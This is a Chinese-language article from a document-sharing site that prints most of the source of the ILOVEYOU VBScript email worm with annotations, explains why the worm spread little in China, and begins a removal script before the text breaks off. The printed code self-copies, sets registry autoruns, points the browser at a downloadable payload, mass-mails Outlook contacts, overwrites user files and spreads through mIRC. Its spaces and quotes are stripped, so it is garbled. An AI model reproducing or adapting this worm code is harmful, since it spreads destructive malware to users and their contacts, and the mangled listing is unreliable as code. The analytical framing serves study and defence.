爱虫ILoveyou病毒代码解析和杀毒方法.docx
《爱虫ILoveyou病毒代码解析和杀毒方法.docx》由会员分享,可在线阅读,更多相关《爱虫ILoveyou病毒代码解析和杀毒方法.docx(23页珍藏版)》请在冰豆网上搜索。
![爱虫ILoveyou病毒代码解析和杀毒方法.docx](https://file1.bdocx.com/fileroot1/2023-1/3/9c1518c2-4255-402f-b881-4657919e500d/9c1518c2-4255-402f-b881-4657919e500d1.gif)
爱虫ILoveyou病毒代码解析和杀毒方法“爱虫(ILoveyou)”病毒代码解析和杀毒方法中国代码联盟黄冬李文武近来在网上出现了“我爱你”病毒,让人们恐慌一时,而它在国内却没有出现什么问题,到现在我也没有听到有哪位计算机使用者说自己被爱到至死。
究其原因是什么?
而“我爱你”病毒到底是什么?
难道说是我国的计算机防毒水平和计算机杀毒软件的水平已经到了世界领先的水平?
我们来细细看看它的原因就明白其中的道理了。
另:
笔者写本文完全是为了学术作用,请不要将此病毒代码用于破坏之目的。
首先让我们来看一看我爱你病毒的来源。
有一天你会收到一封邮件,它的主题是“ILoveYou”(如果细细读读它的程序,这个主题其实可以并不是ILoveYou),在它的信中带有了一个叫“iloveyou.vbs”的附件,而这个附件将是病毒的根源。
下面这段是“我爱你”病毒的所有的源代码,其中加入了我的注释(大多数的vbs的语法大家可以到wsh中去查、我在函数调用的地方写明了这些函数的说明,具体实现可以到函数体中去找):
Rem=Rem本文件为病毒样本,供学习之用,原文件中扫描文件进行感染部分被我注释掉了Rem请勿将本文件用作破坏之目的。
white(*)hd()Rem=OnErrorResumeNextdimfso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,doweq=ctr=0Setfso=CreateObject(Scripting.FileSystemObject)setfile=fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()submain()OnErrorResumeNextdimwscr,rrsetwscr=CreateObject(WScript.Shell)rr=wscr.RegRead(HKEY_CURRENT_USERSoftwareMicrosoftWindowsScriptingHostSettingsTimeout)if(rr=1)thenwscr.RegWriteHKEY_CURRENT_USERSoftwareMicrosoftWindowsScriptingHostSettingsTimeout,0,REG_DWORDendifSetdirwin=fso.GetSpecialFolder(0)Setdirsystem=fso.GetSpecialFolder
(1)Setdirtemp=fso.GetSpecialFolder
(2)Setc=fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&MSKernel32.vbs)c.Copy(dirwin&Win32DLL.vbs)c.Copy(dirsystem&LOVE-LETTER-FOR-YOU.TXT.vbs)上面三句将自身复制成三个文件regruns()如果系统为win98,设IE的起始页为四个URL之一,以下载一个叫WIN-BUGSFIX.exe的文件,并将其设为系统启动时自动执行的程序,看起来好象是一个补丁程序html()为OUTLOOK用户生成一个含病毒代码的HTML文件LOVE-LETTER-FOR-YOU.HTM,该HTML文件里包含一段JAVASCRIPT,打开时脚本被执行,病毒体被写入文件MSKernel32.vbs,同时被设成系统启动时自动执行spreadtoemail()为OUTLOOK里的所有联系人发一封包含上面那个文件的邮件listadriv()扫描整个磁盘,将后缀为.vbs,.vbe的文件换成自身,将后缀为.js,.jse,.css,.wsh,.sct,.hta,的文件改后缀为vbs并写入自身,同时删除原有文件,将后缀为.jpg,.jpeg的在文件名后加.vbs后,写入自身,将后缀为.mp3,mp2的文件名后加.vbs并写入自身,同时将文件属性改为隐藏文件,如果发现有mIRC,将改写script.ini,使得mIRC向所有频道里的人发送刚才的html文件。
endsubsubregruns()OnErrorResumeNextDimnum,downreadregcreateHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKern册表中的加载项一些软件可以写入到这里后实现开机运行el32,dirsystem&MSKernel32.vbsregcreateHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunService册表中的加载项一些软件可以写入到这里后实现开机运行sWin32DLL,dirwin&Win32DLL.vbsdownread=downread=regget(HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerDownloadDirectory)if(downread=)thendownread=c:
endifif(fileexist(dirsystem&WinFAT32.exe)=1)thenRandomizenum=Int(4*Rnd)+1)ifnum=1thenregcreateHKCUSoftwareMicrosoftInternetExplorerMainStartPage,http:
/num=2thenregcreateHKCUSoftwareMicrosoftInternetExplorerMainStartPage,http:
/num=3thenregcreateHKCUSoftwareMicrosoftInternetExplorerMainStartPage,http:
/num=4thenregcreateHKCUSoftwareMicrosoftInternetExplorerMainStartPage,http:
/7thjg/WIN-BUGSFIX.exeendifendifif(fileexist(downread&WIN-BUGSFIX.exe)=0)thenregcreateHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BU注册表中的加载项一些软件可以写入到这里后实现开机运行GSFIX,downread&WIN-BUGSFIX.exeregcreateHKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMainStartPage,about:
blankendifendsubsublistadrivOnErrorResumeNextDimd,dc,sSetdc=fso.DrivesForEachdindcIfd.DriveType=2ord.DriveType=3Thenfolderlist(d.path&)endifNextlistadriv=sendsubsubinfectfiles(folderspec)OnErrorResumeNextdimf,f1,fc,ext,ap,mircfname,s,bname,mp3setf=fso.GetFolder(folderspec)setfc=f.Filesforeachf1infcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)if(ext=vbs)or(ext=vbe)thensetap=fso.OpenTextFile(f1.path,2,true)ap.writevbscopyap.closeelseif(ext=js)or(ext=jse)or(ext=css)or(ext=wsh)or(ext=sct)or(ext=hta)thensetap=fso.OpenTextFile(f1.path,2,true)ap.writevbscopyap.closebname=fso.GetBaseName(f1.path)setcop=fso.GetFile(f1.path)cop.copy(folderspec&bname&.vbs)fso.DeleteFile(f1.path)elseif(ext=jpg)or(ext=jpeg)thensetap=fso.OpenTextFile(f1.path,2,true)ap.writevbscopyap.closesetcop=fso.GetFile(f1.path)cop.copy(f1.path&.vbs)fso.DeleteFile(f1.path)elseif(ext=mp3)or(ext=mp2)thensetmp3=fso.CreateTextFile(f1.path&.vbs)mp3.writevbscopymp3.closesetatt=fso.GetFile(f1.path)att.attributes=att.attributes+2endifif(eqfolderspec)thenif(s=mirc32.exe)or(s=mlink32.exe)or(s=mirc.ini)or(s=script.ini)or(s=mirc.hlp)thensetscriptini=fso.CreateTextFile(folderspec&script.ini)scriptini.WriteLinescriptscriptini.WriteLine;mIRCScriptscriptini.WriteLine;Pleasedonteditthisscript.mIRCwillcorrupt,ifmIRCwillscriptini.WriteLinecorrupt.WINDOWSwillaffectandwillnotruncorrectly.thanksscriptini.WriteLine;scriptini.WriteLine;KhaledMardam-Beyscriptini.WriteLine;http:
/scriptini.WriteLine;scriptini.WriteLinen0=on1:
JOIN:
#:
scriptini.WriteLinen1=/if($nick=$me)haltscriptini.WriteLinen2=/.dccsend$nick&dirsystem&LOVE-LETTER-FOR-YOU.HTMscriptini.WriteLinen3=scriptini.closeeq=folderspecendifendifnextendsubsubfolderlist(folderspec)OnErrorResumeNextdimf,f1,sfsetf=fso.GetFolder(folderspec)setsf=f.SubFoldersforeachf1insfinfectfiles(f1.path)Rem=Rem注意,上面这行被注释掉了,请千万不要玩火,否则您的文件将找不回来Rem=folderlist(f1.path)nextendsubsubregcreate(regkey,regvalue)Setregedit=CreateObject(WScript.Shell)regedit.RegWriteregkey,regvalueendsubfunctionregget(value)Setregedit=CreateObject(WScript.Shell)regget=regedit.RegRead(value)endfunctionfunctionfileexist(filespec)OnErrorResumeNextdimmsgif(fso.FileExists(filespec)Thenmsg=0elsemsg=1endiffileexist=msgendfunctionfunctionfolderexist(folderspec)OnErrorResumeNextdimmsgif(fso.GetFolderExists(folderspec)thenmsg=0elsemsg=1endiffileexist=msgendfunctionsubspreadtoemail()OnErrorResumeNextdimx,a,ctrlists,ctrentries,malead,b,regedit,regv,regadsetregedit=CreateObject(WScript.Shell)setout=WScript.CreateObject(Outlook.Application)setmapi=out.GetNameSpace(MAPI)forctrlists=1tomapi.AddressLists.Countseta=mapi.AddressLists(ctrlists)x=1regv=regedit.RegRead(HKEY_CURRENT_USERSoftwareMicrosoftWAB&a)if(regv=)thenregv=1endifif(int(a.AddressEntries.Count)int(regv)thenforctrentries=1toa.AddressEntries.Countmalead=a.AddressEntries(x)regad=regad=regedit.RegRead(HKEY_CURRENT_USERSoftwareMicrosoftWAB&malead)if(regad=)thensetmale=out.CreateItem(0)male.Recipients.Add(malead)male.Subject=ILOVEYOUmale.Body=vbcrlf&kindlychecktheattachedLOVELETTERcomingfromme.male.Attachments.Add(dirsystem&LOVE-LETTER-FOR-YOU.TXT.vbs)male.Sendregedit.RegWriteHKEY_CURRENT_USERSoftwareMicrosoftWAB&malead,1,REG_DWORDendifx=x+1nextregedit.RegWriteHKEY_CURRENT_USERSoftwareMicrosoftWAB&a,a.AddressEntries.Countelseregedit.RegWriteHKEY_CURRENT_USERSoftwareMicrosoftWAB&a,a.AddressEntries.CountendifnextSetout=NothingSetmapi=NothingendsubsubhtmlOnErrorResumeNextdimlines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6dta1=LOVELETTER-HTML&vbcrlf&_METANAME=-Author-CONTENT=-spyder?
-?
*-GRAMMERSoftGroup?
-?
Manila,Philippines?
-?
March2000-&vbcrlf&_&vbcrlf&_&vbcrlf&_ThisHTMLfileneedActiveXControlToEnabletoreadthisHTMLfile-Pleasepress#-#YES#-#buttontoEnableActiveX&vbcrlf&_-z-z-?
-?
MARQUEE>&vbcrlf&_&vbcrlf&_&vbcrlf&_&vbcrlf&_&vbcrlf&_&vbcrlf&_!
-&vbcrlf&_onerrorresumenext&vbcrlf&_dimfso,dirsystem,wri,code,code2,code3,code4,aw,regdit&vbcrlf&_aw=1&vbcrlf&_code=dta2=setfso=CreateObject(*-)&vbcrlf&_setdirsystem=fso.GetSpecialFolder
(1)&vbcrlf&_code2=replace(code,chr(91)&chr(45)&chr(91),chr(39)&vbcrlf&_code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34)&vbcrlf&_code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92)&vbcrlf&_setwri=fso.CreateTextFile(dirsystem&-MSKernel32.vbs-)&vbcrlf&_wri.writecode4&vbcrlf&_wri.close&vbcrlf&_if(fso.FileExists(dirsystem&-MSKernel32.vbs-)then&vbcrlf&_if(err.number=424)then&vbcrlf&_aw=0&vbcrlf&_endif&vbcrlf&_if(aw=1)then&vbcrlf&_document.write-ERROR:
can#-#tinitializeActiveX-&vbcrlf&_window.close&vbcrlf&_endif&vbcrlf&_endif&vbcrlf&_Setregedit=CreateObject(*-)&vbcrlf&_regedit.RegWrite-HKEY_LOCAL_MACHINE-Software-Microsoft-Windows-CurrentVersion-Run-MSKernel32-,dirsystem&-MSKernel32.vbs-&vbcrlf&_?
-?
-?
-&vbcrlf&_dt1=replace(dta1,chr(35)&chr(45)&chr(35),)dt1=replace(dt1,chr(64)&chr(45)&chr(64),)dt4=replace(dt1,chr(63)&chr(45)&chr(63),/)dt5=replace(dt4,chr(94)&chr(45)&chr(94),)dt2=replace(dta2,chr(35)&chr(45)&chr(35),)dt2=replace(dt2,chr(64)&chr(45)&chr(64),)dt3=replace(dt2,chr(63)&chr(45)&chr(63),/)dt6=replace(dt3,chr(94)&chr(45)&chr(94),)setfso=CreateObject(Scripting.FileSystemObject)setc=fso.OpenTextFile(WScript.ScriptFullName,1)lines=Split(c.ReadAll,vbcrlf)l1=ubound(lines)forn=0toubound(lines)lines(n)=replace(lines(n),chr(91)+chr(45)+chr(91)lines(n)=replace(lines(n),chr(93)+chr(45)+chr(93)lines(n)=replace(lines(n),chr(37)+chr(45)+chr(37)if(l1=n)thenlines(n)=chr(34)+lines(n)+chr(34)elselines(n)=chr(34)+lines(n)+chr(34)&vbcrlf&_endifnextsetb=fso.CreateTextFile(dirsystem+LOVE-LETTER-FOR-YOU.HTM)b.closesetd=fso.OpenTextFile(dirsystem+LOVE-LETTER-FOR-YOU.HTM,2)d.writedt5d.writejoin(lines,vbcrlf)d.writevbcrlfd.writedt6d.closeendsub看完了病毒的全部代码是不是大家不敢相信这三百行的VisualBasic语句就把一台“活生生”的计算机搞的“人不像人,鬼不像鬼”。
是呀,由于现在的脚本语言的流行,以及Mircrsoft推出的WSH(WindowsScriptHosting),更让这些脚本语言可以在任何一台计算机上兴风作浪。
WSH是一个能让VisualBasicScript和JScript脚本能在Windows环境下如命令行的批处理文件(bat文件)一样运行的一个服务。
它可以让Script去创建一个Windows里的COM/OLE对象,并去使用这些对象里的方法、属性和事件。
在上述程序中有这样一段:
setregedit=CreateObject(WScript.Shell)setout=WScript.CreateObject(Outlook.Application)setmapi=out.GetNameSpace(MAPI)forctrlists=1tomapi.AddressLists.Countseta=mapi.AddressLists(ctrlists)它就是调用了WScript.Shell这个COM组件来操作注册表,调用Outlook.Application对像来操作Outlook(由于OutlookExpress在最近的几个版本中已经越来越像Outlook了,所以对一些版本它也会影响到OutlookExpress)。
调用了MAPI组件来得到地址和发送邮件,在OutlookExpress4.0之后也提供了MAPI组件,所以无论你是安装了Outlook或是OutlookExpress都会被调用来发出大量的邮件。
如果你是一名熟悉哪简单的VBA(VisualBasicApplication用于Word的宏脚本),哪么这段小程序就一眼看懂了。
所以,这么想想,这爱大家的病毒原来也与Word/Office宏病毒差不多哟。
所以这么一说,这爱大家的病毒需要有一个好的环境才能生存的:
.要是Windows95SR2以上的操作系统(WindowsNT4安装了OptionPack4).要使用Outlook或是高版本的OutlookExpress来收信.要能收到这个带有病毒的Mail这也就是国内为什么这个病毒没有大量发作的原因了,首先国内的Mail几大量使用了WebMail,而这样的Mail系统没有到达客户的计算机上所以也就不可能发作了。
再就是国内使用了众多的非Outlook/OutlookExpress高版本这样的MailClient,所以受害者也少。
好了,哪么了解其原理,笔者给大家一个练习的机会,我们“以毒攻毒”,用同样的技术来写一段程序,大家可以用这样的程序来攻击“我爱你”。
remIloveYouvirus清除程序OnErrorResumeNextdimfso,dirsystem,dirwin,dirtemp,eq,ctr,fi